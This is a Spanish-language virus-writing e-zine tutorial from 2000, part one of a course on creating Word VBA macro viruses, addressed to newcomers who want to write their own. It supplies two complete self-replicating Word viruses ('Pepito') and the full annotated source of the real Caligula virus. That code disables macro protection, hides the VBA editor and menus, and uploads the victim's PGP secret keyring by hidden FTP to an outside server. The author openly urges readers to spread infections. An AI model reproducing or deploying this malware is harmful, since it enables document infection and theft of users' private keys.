'''04:53 PM 27/08/2000'''

5
 4
  3
   2
    1
     0 
      ...

Starting Another Kewl Article Of Vil Roach

------------------------------------------------------------------------------------------
***************************************************************************************************
***************.-----------------------------------------------------------.**********************
***************|Curso De programacion De Virus En VBA of Vil Roach - Part 1          |*************
***************'-----------------------------------------------------------'***********************
*****************************************************************************************************
-------------------------------------------------------------------------------------------------



Th Complete Index

-Curso De programacion De Virus En VBA Of Vil Roach / Trenchcoat Legion

Part 1:

-Introduccion.
-Que Es Un Virus
-Que Es Vba
-La infeccion
-Analisis De un Virus : Caligula

Part 2:

-Stealth
-Polimorfismo
-Internet
-Analisis De un Virus : ?

Part 3

-Payload
-Residencia en Memoria ?
-Cross Infection
-Analisis De un Virus : ?

Part 4

-Realizacion De un virus final
-Los Grandes Maestros

Nota : Este indice como todo en la vida no podia y no pudiendo ser la excepcion esta sujeto a 
cambios en su estructura .


Parte 1 :

=====
  |
  |
  |ntroduccion   
=====

Lo primero que debo decir es que este curso esta totalmente dirigido a los newbies y 
especialmente a todos aquellos que quieran comenzar a hacer sus propios virus , pero que esten 
dispuestos a aprender , leer y no "Cut And Paste" programming.
Lo que yo quiero hacer con este curso es una aproximacion sencilla pero completa a la escena
de los virus de macro , primero comenzaremos con las definiciones mas sencilla , pero luego
iremos avanzando  y explorando todas las posibilidades que nos da el lenguaje de VBA .
Definitivamente mi principal intencion con este articulo es poner a disposicion de la gente 
conocimientos que por una o otra razon no hayan obtenido antes , y que si les gusta lo que lean
comiencen a investigar y de una vez por toda se pueda hablar de una virus-scene en Colombia on 
en todas las partes del mindo , asi que si les gusta lo que leen en este  curso y comienzan a 
realizar sus propios bichos no duden en mandarlos la revista , si quieren junto con un articulo
explicandolo como lo hicieron y nosotros gustosamente lo publicaremos.
Lo mejor es que la mucha gente comienza con los virus de macro pero luego se psan a Asm o cosas
mas avanzadas , espero que ese sea el caso de ustedes , ah y solo tengo una sugerencia para to-
dos ustedes alla afuera : SEAN ORIGINALES E INTERESANTES si se logra cumplir estas dos cualidades
no importa lo lamer que se el lenguaje sus virus seran reconocidos , y seremos respetados , por-
que creo que a ningun virus-writer le gusta ver codigo repetido y sin originalidad y gracias al
modo de trabajo de los antivirus , sus virus seran reconocidos facilmente si tienen codigo  de 
otros virus y lo peor sera que su virus sera reconocido como el virus de otro autor y sus virus
ni ustedes nunca podran expandirse ni recibir credito (aunque de todas formas no lo merezcan).


-Que Es Un Virus ?
 -----------------

Un virus en el ambito informatico es simplemente una pieza de codigo escrita en cualquier lengua-
je que lo permita cuyo huesped es un archivo y que posee la capacidad de insertar su codigo en 
otros archivos que el virus reconozca y pueda infectar correctamente dejandolos funcionales ,pero
permitiendo que el codigo virco pueda ejecutarse en un momento dado.

De esta forma cuando ejecutamos un .exe infectado con un virus , lo que hace este virusa es tomar
el control de la maquina durante un momento dado y buscar otros .exe para insertarse en ellos , y
de esta forma cuando el .exe se ejecute  en otra maquina infectar esta y asi seguira continuamen-
te , calro que dependiendo de la sofisticacion del virus este podra realizar otra acciones ,por
ejemplo : quedarse residente en la memoria del sistema ,encriptar su codigo antes de insertarlo 
en otro archivo , mutar la rutina de encriptacion(!),encargarse de ser lo menos visible ante el
usuario , modificar el comportamiento de los antivirus presentes , tambien si se cumple una con-
dicion determinada por el autor del virus(fecha,hora,# de infeccions,etc), el virus ejecutara su
payload, es decir una rutina cuyo unico fin es mostrarle al usuario que existe , muchas veces 
tendremos que tener cuidado que la rutina no se ejecyta muy rapido o muy a menudo , para que el
virus pueda pasar desapercibido el mayor tiempo y de esta forma infectar mayor catidad de 
archivos ; muchas de estas tecnicas seran explicadas y se mostrara el codigo necesario para 
ponerlas en nuestro propios virus de macro a lo largo de este curso .

Paralelo a este curso tambien desarrollare otro curso en esta super e-zine , pero esta vez basado
en virus para win32 en 100% asm , debido a la myor complejidad del tema y a mi menor tiempo de 
experiencia en el tema , este curso sera mucho mas lento , y tendra como requisito saber Asm , 
y tambien muchos de las secciones seran traducciones y ampliaciones de otros autores y maestros
del tema .

Requisitos Para seguir este curso :

Realmente los requisitos para seguir este curso son muy bajos , lo unico necesario sera tener la 
suite Microsoft Office 97 o superior , y unos conocimientos muy basicos sobre conceptos de progra
macion como variables , ciclos , if-then, incluso no necesitaremos experiencia previa en Visual 
Basic , debido a la facilidad de sintaxis de este lenguaje .


-Que es VBA ?
 ------------

Al principio solo existia DOS , y los programas mas populares eran las utilidades tipo oficina es
decir Lotus 123 , y Word Perfect , al ser Lotus 123 un  programa financiero que necesitaba traba-
jar con formulas matematicas complicadas se decidio dotar al programa con "un lenguaje de progra-
macion " que era interpretado por el programa y lo unico que hacia era darle ordenes al lotus ,de
esta forma nacen los lenguajes de Macro , se llaman asi porque lo que hacen es ejecutar una serie
de comandos como si fuera uno solo un MacroComando , luego paso el tiempo y microsoft decidio que
los programas de su suite de apilcaciones office , deberian tener un lenguaje de macros.Asi que
Word y Excel tenian su propio lenguaje de programacion , algo muy feo , incompatible y poco legi-
ble , estos lenguajes me parecen tan raros que incluso en las versiones en espaol de los progra-
mas , el lenguaje se traducia al idioma local , apareciendo cosas como "para X = desde 1 hasta 4 
hacer " o "si (4>0) entonces hacer" , creando obviamente una incompatibilidad legendaria. Y duran
te mucho tiempo mucha gente se preguntaba para que servia un "lenguaje" de macros en un procesa-
dor de palabras hecho especialmente para tontos , hasta que a un inteligente programador se le 
ocurrio un muy interesante uso , la realizacion de macros que se reprodujeran en otros documentos
creando de esta forma "Virus" , y para demostrar sus ideas realiza Concept , el primer virus de
macro , lo mejor de estos virus es que en aquella epoca nadie sospechaba de un archivo .doc , 
cincept inmediatamente se convierte en uno de los virus mas reportados ,en el aode 1997 un coder
venezolano (Jackie Qwerty), escribe un virus llamado "Cap",que se convierte en el virus mas difun
dido del mundo en aquella epoca , aunque seguido muy de cerca por concept , y Npad otro virus de 
Macro.Era increible como estos virus tan Simples eran tan infecciosos , y siempre estaban por 
encima de virus mas avanzados en las listas de los virus mas difundidos .
Pero con la llegada de Office 97 , el pseudo-lenguaje fue cambiado por microsoft para ajustar al
office con la tecnologia de wimndows y sus tecnologias relacionadas , como Ole , Com . Concepto 
cliente/Servidor , Y Visual Basic , creando Visual Basic for Applications un lenguaje casi identi
co a Visual Basic , y cuya principal caracteristica era que era orientado a objetos  , debido a
que la forma programar las aplicaciones de Office era usando un modelo de objetos  exclusivo de
cada aplicacion , me explico , ahora con el modelo de objetos si queremos acceder a una propiedad
de word , lo haremos como si Word fuera un objeto con sus propias funciones y variables , por 
ejemplo :

Si queremos conocer el ancho de el fondo de el documento activo lo hariamos asi :

ActiveDocument.Background.Width

-ActiveDocument = El objeto que representa el documento que esta en foco

-Background = Objeto del objeto document que se encarga de manejar el fondo del documento

-Width = Propiedad del objeto bacggroun que establece el ancho del fondo

Y si quisieramos ejecutar una funcion para borrar el fondo lo hariamos asi

ActiveDocument.Background.Delete 

-Delete = Funcion del objeto Background que se encarga de borra su contenido 

Como vimos en los ejemplos la forma de acceder a las propiedades de un objeto es con el operador 
. (punto) ; si ahora quieren analizar un poco todo esto lo mejor es que entren al editor de 
Visual Basic del word (Alt-F11) y escriban Activedocument. , inmediatamente les aparecera toda la
lista de propiedades y funciones , pueden ir escogiendolas , y experimentar con ellas , incluso 
cuando vayamos a ejecutar una funcion el editor nos indicara cuales y de que tipo son los 
argumentos , les recomiendo que lean un tutorial o un libro simple sobre el Visual Basic , y expe
rimente un rato con el editor de Visual Basic.

La Infeccion 
------------

La infeccion es el principio basico de todos los virus , si un virus no es capaz de infectar 
simplemente no es un virus ,de esta misma forma la infeccion en los virus de Macro es muy 
lo mas importante y por eso es lo primero que veremos , incluso con lo que aprendamos aqui podre-
mos desarrollar nuestro primer virus de macro.

Esta seccion estara centrada en la infeccion dentro de Ms Word , ya que la infeccion en las otras
aplicaciones de office es muy similar , no se tratatra aqui , solo se vera en la seccion 
Cross - Infection , pero de todas maneras les recomiendo que traten de pasar el pequeo virus que
haremos aqui a otros programas como Excel , o PowerPoint .

Infeccion del Microsoft Word

Lo primero que debemos conocer es el concepto de la plantilla Normal.Dot , Esta plantilla es como
un documento normal , su particularidad consiste en que no tiene ninguna clase de contenido pero
en cambio si puede guardar todos los settings del Word , y todos los Macros que queremos que 
tenga el word por defecto , o sea que la plantilla lo unico que hace es guardar una configuracion
que se cargara cada que se ejecute el Word(!), y que es lo interesante de esto , pues que si 
infectamso la plantilla , infectaremos todos los documentos que se habran con ese Word , y lo 
mejor sera que esa plantilla infectada se cargara siempre , es el equivalente a poner un virus de
dos residente en memoria .

Ya nos vamos dando cuenta de los pasos que debe seguir un Virus para infectar un exitosamente ,
primero debe mirar si la plantilla normal.dot esta infectada , y si no infectarla , luego hacer
lo mismo con el documento activo y ya esta . Pero Como Hago para ejecutar el codigo ? Pues muy
simple , como podran ver un macro es una funcion y necesita ser llamda por el usuario cuando la
necesite , pero no creo que ningun usuario ejecute una macro sin saber que es , Esto es un proble
ma , pero la solucion es muy simple , resulta que existen una serie de macros que se ejecutan 
automaticamente  cada vez que sucede una accion o un evento , la siguiente es la lista de los 
macros mas utiles :

-AutoOpen : Se ejecuta cada vez que se abre  un documento .

-AutoClose : Se Ejecuta cada vez que se cierra un documento .

-AutoExit : Se ejecuta antes de cerrarse el Word.

-AutoExec : Se ejcuta cuando se carga el documento o la plantilla que la contiene.

-Document_Open : Se ejecuta cuando se abre el documento que lo contiene.

-Document_Close : Se ejecuta cuando se cierra el documento que lo contiene.

-ViewVBCode : Se ejecuta cada vez que se va a abrir el editor de Visual Basic (Muy Interesante).

Listo ahora ya sabemos que infectar y donde poner el codigo , pero como infectamos ?

Basicamente existen dos formas :

-Agregando Nuevos Modulos

-Class Infection (Descubierta por Vicodin_es)

Veamos cada una detalladamente :

-Agregar Un Nuevo Modulo :
--------------------------


La forma de organizar los componentes de VBA en word consiste en asignarle a cada documento un
"Proyecto" , y cada proyecto se puede dividir en varios modulos que a su vez pueden contener 
varios macros , asi que si deseamos infectar una plantilla o un documento debemos agregar un modu
lo al proyecto del documento o plantilla , en forma de codigo eso se traduce en:

Los objetos ActiveDocument y NormalTemplate tienen cada uno un objeto llamado VBProject , por 
medio del cual podemos modificar todo el proyecto en si , pero si queremos trabajar con sus modu-
los debemos usar el objeto VBComponents el cual nos da acceso a un array de objetos siendo cada 
uno un modulo , veamos un ejemplo 

For x = 1 To NormalTemplate.VBProject.VBComponents.Count
MsgBox NormalTemplate.VBProject.VBComponents.Item(x).Name
Next x

Este simple codigo nos muestra los nombres de todos los modulos de VBA , como vemos accede al 
elemento (x) , todas las veces necesarias , usando para esto la propiedad .Count , luego usa la
propiedad Name y listo.

Si no se entendio el codigo anterior le recomiendo que lea un libro de Visual Basic o de programa
cion , y si sigue sin entender le recomiendo que se dedique a la jardineria .

Los que hayan investigado un poco los objetos del codigo anterior , seguramente encontraron un 
objeto muy intersante en item(x) llamado CodeModule , el cual tiene una serie de funciones y pro-
piedades muy interesantes como : AddFromFile,AddFromString,InsertLine,lines, etc. 

Y precisamente usando estas funciones ,especifivamente Export e Import , por fin escribiremos
algo de codigo real y crearemos nuestro primer virus llamado "Pepito".

Sub AutoOpen()
On Error Resume Next
plantilla = False
Document = False

'Primero veremos si estamos en la plantilla o en el documento activo

For x = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents.Item(x).Name = "Pepito" Then plantilla = True
Next x

'miramos todos los modulos de la normal.dot y si alguno se llama pepito , es de ahi de donde nos
'estamos ejecutamso

For x = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents.Item(x).Name = "Pepito" Then Document = True
Next x

'Igual que con la plantilla

' Ahora infectamos la plantilla o el documento dependiendo de las variables que establecimos

If plantilla = False Then
' si en la plantilla no existe Pepito entonces 
ActiveDocument.VBProject.VBComponents.Item("Pepito").Export ("C:\Windows\WinGdi.Dll")
' grabamos el virus desde el documento activo a un archivo con nombre poco sospechoso
NormalTemplate.VBProject.VBComponents.Import ("C:\Windows\WinGdi.Dll")
'y luego lo importamos desde ese archivo a la plantilla normal.dot
NormalTemplate.Save
' ahora guardamos la plantilla , para evitar que se le pregunte al usuario si desea graba la 
' plantilla
End If

If Document = False Then
' si en el documento no existe pepito entonces esta en la plantilla y
NormalTemplate.VBProject.VBComponents.Item("Pepito").Export ("C:\Windows\WinGdi.Dll")
' exportamos el codigo
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\WinGdi.Dll")
' y lo importamos de nuevo 
ActiveDocument.Save
' ahora grabamos el documento 
End If
If ((Int(Rnd(1) * 13)) = 6) Then MsgBox "Pepito Is Alive", vbCritical, "TRENCHCOAT LEGION RULEZ!"
' y le agregamos un pequeo payload que se ejecutara con una probabilidad de 1 en 13



Listo! , este es un virus de Word completamente funcional , si se quiere probar simplemente 
inserte un nuevo modulo con el nombre de Pepito y listo , obviamente este virus tiene muchas 
desventajas , por ejemplo es muy facil de descubrir , tiene muy pocos trucos de stealth e incluso
un usuario puede eliminarlo facilmente , pero esta es la base y como vemos es muy sencilla , la
infeccion tambien se hubiera podido realizar copiando las lineas con el metodo .Lines y 
pegandolas con el metodo .InsertLines , pero este metodo es mucho mas sencillo , pero de todas ma
neras es recomendado experimentar por nuestra proia cuenta con diferentes opcions .

Ahora veremso el otro metdo y sus ventajas y desventajas .

-Class Infection :

Primero que todo muchas gracia a Vicodin_es por descubrir este metodo y ensearnolos a todos Thkx

Si alguien observo detenidamente el resultado de ver los nombres de los modulos , se podia obser-
var que antes de numerar los modulos , se nombrava a un modulo de nombre "ThisDocument" , el cual
aparece en una seccion especial denominada "Microsoft Word Objetos" (esto cambia dependiendo del
idioma del programa) , este sector es donde se guardan los archivos de clases y de ahi proviene
el nombre de Class infection ; asi que la Class Infection consiste simplemente en introducir 
nuestro codigo en esta seccion , simplemete infectando el Item(1) , el cual es siempre la Class
section .

Bueno , muy bonito pero cuales son sus ventajas ?

La principal ventaja de esta tecnica es que no tendremos que agregar ningun modulo , y por lo tan
to el usuario no vera nada sospechoso en el ditor de visual basic y ademas si quiere borrar el co
digo no es tan simple como borrar un modulo y ya ; otra ventaja es que cuando el usuario escoja 
la opcion Macros en el menu Herramientas no aparece ningun macro . Las limitaciones son basicamen
te un poco mas de esfuerzo al tener que hacer unas cosillas extras , estas son :

-Ya no podemos confirmar la existencia del virus buscando por el nombre del modulo , ahora lo que
 haremos sera ver la cantidad de lineas de codigo , si es mayor de 0 , entonces nuestro codigo es
 ta ahi , otra idea seria copiar un comentario en la primera linea , y comparar la primera linea
 con el comentario . Un ejemplo seria :

If (NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) > 0 Then Normal = True

 Simple .

-Las macros en la plantilla y en el documento no pueden tener el mismo nombre , asi que este 
 problema lo solucionaremos simplemente agregandole las lineas necesarias para cambiar el nombre
 de las macros , por ejemplo :

   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1,"Sub AutoClose()" 

 Con este codigo remplazariamos la primera linea del codigo ("Sub AutoOpen()") por "Sub AutoClose
()" . Y asi debemos hacer por todos los macros que tengamos .

-No se puede usar la funcion Import . Esta funcion ciertamente no se puede usar para importar 
 nuestro codigo , pero podemos usar una muy parecida llamada AddFromFile , cuya unica diferencia 
 con Import , es que no el codigo queda con estas 4 molestas lineas :
 VERSION 1.0 CLASS
	BEGIN
	  MultiUse = -1  'True
	End 
 Pero lo unico que tenemos que hacer es simplemente eliminarlas con este codigo :
 NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1,4
 
 Este codigo borra las 4 lineas que sian desde la linea 1 .
 Obviamente este proceso lo debemos realizar antes de cambiarle los nombres a la macro .

A continuacion la fuente del virus Pepito usando Class Infection :


Sub AutoOpen()
On Error Resume Next
plantilla = False
Document = False

If (NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) > 0 Then Plantilla = True
' si hay codigo en el item(1) debe se nuesto codigo 
If (ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) > 0 Then document = True
' igualmente 

If plantilla = False Then
ActiveDocument.VBProject.VBComponents.Item(1).Export ("C:\Windows\WinGdi.Dll")
NormalTemplate.VBProject.VBComponents.item(1).CodeModule.AddFromFile ("C:\Windows\WinGdi.Dll")
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1,4
'Borramos las 4 primeras lineaS
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1,"Sub AutoClose()" 
'Remplazamos la primera linea para que el nombre se adistinto al del document
NormalTemplate.save
End If

If Document = False Then
NormalTemplate.VBProject.VBComponents.Item(1).Export ("C:\Windows\WinGdi.Dll")
ActiveDocument.VBProject.VBComponents.item(1).CodeModule.AddFromFile ("C:\Windows\WinGdi.Dll")
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1,4
'Borramos las 4 primeras lineaS
End If
If ((Int(Rnd(1) * 13)) = 6) Then MsgBox "Pepito Is Alive", vbCritical, "TRENCHCOAT LEGION RULEZ!"
End Sub

Listo , Ya hemos hecho dos virus , el ultimo es el mas interesante quizas , experimenten con 
ellos observen su comportamiento , y traten de escribir el suyo propio, o mejorar el anterior por
ejemplo una buena idea es asignarle a objetos que usamos mucho una variable , por ejemplo :

NtCodMod = NormalTemplate.VBProject.VBComponents.item(1).CodeModule
NtCodMod.AddFromFile ("C:\Windows\WinGdi.Dll")
NtCodMod.DeleteLines 1,4

De esta forma el codigo se hace mas pequeo y mas facil de escribir, como este existen muchisimos
trucos mas , los cuales solo se obtienen investigando y ensayando cualquier cosa que se nos ocu-
rra; Estas tecnicas solo han sido el principio y  aun quedan muchas cosas mas por aprender , si
les gusto o no les gusto , o sienten que tienen algo por decirme o una pregunta que no logran 
responder luego de MUCHA investigacion , seria un placer recibir sus Mails .

-Analisis De Un Virus : Caligula
 -------------------------------

A continuacion veremos paso a paso un virus real , creado por Opic de Codebreakers en el ao de 
199 y que causo gran revuelo por su capacidad de robar las clves del PGP y enviarlas al servidor
de Codebreakers . 
A continuacion Viene la Fuente original del virus Mas unos comentarios Hechos por mi , para 
aclarar y demostrar la aplicacion de las tecnicas expuestas en el articulo :

<-----------------------------Cut Here-------------------------------->
******************************************************************
                        DISCLAIMER:
This code is for educational purposes only. I wrote this virus
to illustrate the weaknesses and flaws in security of Win9x, 
Office97, and PGP. The author (Opic), his group (CodeBreakers),
and their server hold NO, repeat NO responsibilty for others use
or misuse of this virus. ie: people that spread it, infected users,
etc, etc are ON THEIR OWN. I cannot and will not be help liable for
others decisions on what to do with my code. I just make the 
bullets, if someone shoots at someone else theres little i can
do about it. Consider yourself warned.  -Opic
******************************************************************

"Virus Attacks:
Espionage enabled viruses.  Designed to collect/steal information.  
May be vertically targeted or horizontally deployed. 
There's a bright future for "espionage enabled" viruses.  Consider a 
virus that spreads only to machines that have a copy of PGP. 
Countermeasures:
Use virus checking software"
-Quoted from: Practical Attacks on PGP by Joel McNamara  
Challenge accepted Joel! may i present:

Virus Name: WM97/Caligula
Author: Opic [CodeBreakers]
Date: 1998
Info: Caligula is a Stealth WM97 SR1(2)-compatible virus.
      It is unique in the manner that it is one of the first 
      espionage enabled viruses (ie: steals information).
      Caligula steals PGP Secret Keyrings from infected users
      and uploads them onto the internet. More specifically
      it uploads them to: CodeBreakers.Org
      The virus spreads to users regardless of if they own PGP
      or not (joel doesnt know much about propagation techniques)      
      but it will only upload the infected users key once (to 
      avoid uploading multiple copies of the key. Caligula places
      a marker in the Windows registry to signal the PGP theft has
      been sucessful. on the 31st of the month caligula displays
      a messagebox which reads:

      "WM97/Caligula (c)Opic [CodeBreakers 1998]
      "No cia,"
      "No nsa,"         
      "No satellite,"
      "Could map our veins." 

      and the following properties are also given to infected 
      documents:

      Author:     Opic
      Title:      WM97/Caligula Infection
      Subject: A Study In Espionage Enabled Viruses.
      Comments: The Best Security Is Knowing The Other Guy Hasn't Got Any.
      Keywords: | Caligula | Opic | CodeBreakers |

*****visit http://WWW.CodeBreakers.org for the latest in VX*****      

Xtra special thanx go out to: Vic, Lord Natas, and Spo0ky
                              for ALL their help! 
*******************************************************************

Attribute VB_Name = "Caligula"
Sub AutoClose()

On Error Resume Next
' Para que los errores no provoquen ninguna clase de mensaje     

With Dialogs(wdDialogFileSummaryInfo)
.Author = "Opic"
.Title = "WM97/Caligula Infection"
.Subject = "A Study In Espionage Enabled Viruses."
.Comments = "The Best Security Is Knowing The Other Guy Hasn't Got Any."
.Keywords = " | Caligula | Opic | CodeBreakers | "
.Execute
End With
' cambia las propiedades del documento actual 

Options.VirusProtection = False
' elimina la molesta advertencia de que un documento contiene macros 
Options.SaveNormalPrompt = False
' Elimina la molesta pregunta que se le hace al usuario al tratar de guaardar la plantilla normal
Options.ConfirmConversions = False
' elimina la pregunta que se le hace al usuario cuando se trata de convertir la version de un 
' documento 

Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
'elimina las alertas , la barra de estatus y lo que indica que se esta llevando a cabo un proceso

CommandBars("tools").Controls("Macro").Enabled = False
CommandBars("tools").Controls("Customize...").Enabled = False
CommandBars("view").Controls("Toolbars").Enabled = False
CommandBars("view").Controls("Status Bar").Enabled = False
'desactiva varios elemntos de los menus Tools y View 

If NormalTemplate.VBProject.VBComponents.Item("Caligula").Name <> "Caligula" Then
NotInNorm = True
'Miramos si Caligula esta en la plantilla normal 

ActiveDocument.VBProject.VBComponents("Caligula").Export "c:\io.vxd"
Set Dobj = NormalTemplate.VBProject
'exportamos el codigo desde el documento y seteamos la plantilla como Dobj

ElseIf ActiveDocument.VBProject.VBComponents.Item("Caligula").Name <> "Caligula" Then
NotInActiv = True
NormalTemplate.VBProject.VBComponents("Caligula").Export "c:\io.vxd"
'entonces si el codigo no esta en el documento activo lo exportamos desde normal.dot

Set Dobj = ActiveDocument.VBProject
'seteaamos Dobj como el documento activo
End If

If NotInNorm = True Or NotInActiv = True Then Dobj.VBComponents.Import ("c:\io.vxd")
'importamos el codigo a Dobj(una inteligente optimizacion!)

If Day(Now) = 31 Then MsgBox "No cia," & vbCr & "No nsa," & vbCr & "No satellite," & vbCr & "Could map our veins.", 0, "WM97/Caligula (c) Opic [CodeBreakers 1998]"
' si es dia 31 se activa un mensaje refernte a la privacidad 

If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Caligula") = False) Then
'miramos si en este equipo ya habiamos mandado la clave del PGP 

pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command", "")
Position = InStr(1, pgppath, "pgpt")
' si no , entonces buscamos el path del PGP en el registro de WIndows 

If Position <> 0 Then
pgppath = Mid(pgppath, 1, Position - 2)
Else
GoTo noPGP
End If
'si el path es valido lo guardamos en pgppath , si no vamos a la etiqueta NoPGP

With Application.FileSearch
    .FileName = "\Secring.skr"
    .LookIn = pgppath
    .SearchSubFolders = True
    .MatchTextExactly = True
    .FileType = msoFileTypeAllFiles
    .Execute
    PGP_Sec_Key = .FoundFiles(1)
End With
'ejecutamos una busqueda del archivo de la clave secreta dentro del pgppath 

Randomize
  For i = 1 To 4
    NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1)
  Next i
  NewSecRingFile = "./secring" & NewSecRingFile & ".skr"
'le agregamos un numero de 4 cifras al nombre del archivo para no sobreescribir niguno en el 
'servidor

Open "c:\cdbrk.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "binary"
    Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """"
    Print #1, "quit"
    Close #1

'creamos un script para el ftp , que sube el archivo de la clave secreta al directorio incoming/
'binary del servidor codebreakers.org

Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHide
'Ejecutamos el ftp pasandole como argumento el script realizado anteriormente 

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Caligula") = True
'guardamos un valor en el registro para no volver a subir la clave 

End If

noPGP:

If NotInActiv = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
' guardamos el documento si es necesario , poniendole como formato el de Word97 (wdFormatDocument)
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub
'simple stealth que no deja que se ejecuten las funciones originales , provovando que no pase
'nada cuando el usuario quiera entrar al editor de Visual Basic , al dialogo de Macros y al de 
'plantillas(desde donde se pueden ver los macros)

<-----------------------------Cut Here-------------------------------->

No les parecio muy interesante este virus ? 
Este virus demuestra lo divertido que pueden ser loa virus de macro y todas las posibilidades que
tienen , puede que en un futuro mucha gente les diga que los virus de macro son para lamers y eso 
es completamente FALSO , una cosa es que hayan muchos lamers haciendo virus de macro , pero solo
'los virus trabajados y con tecnicas originales logran sobresalir , y expandirse por el mundo y 
quiza visitar muchos lugares con los cuales ni siquiera hemos soado .

Espero que les haya gustado este tutorial y que se animen a infectar este cochino mundo , ah y ya
saben , !ESCRIBAN! .

Fin De La parte 1

Wait the second part in the summer of 2001 | Only in the Movies .





                     Vil Roach / Trenchcoat Legion - We Are going To infest
                                                        We're Getting in your HEAD 

     






The End       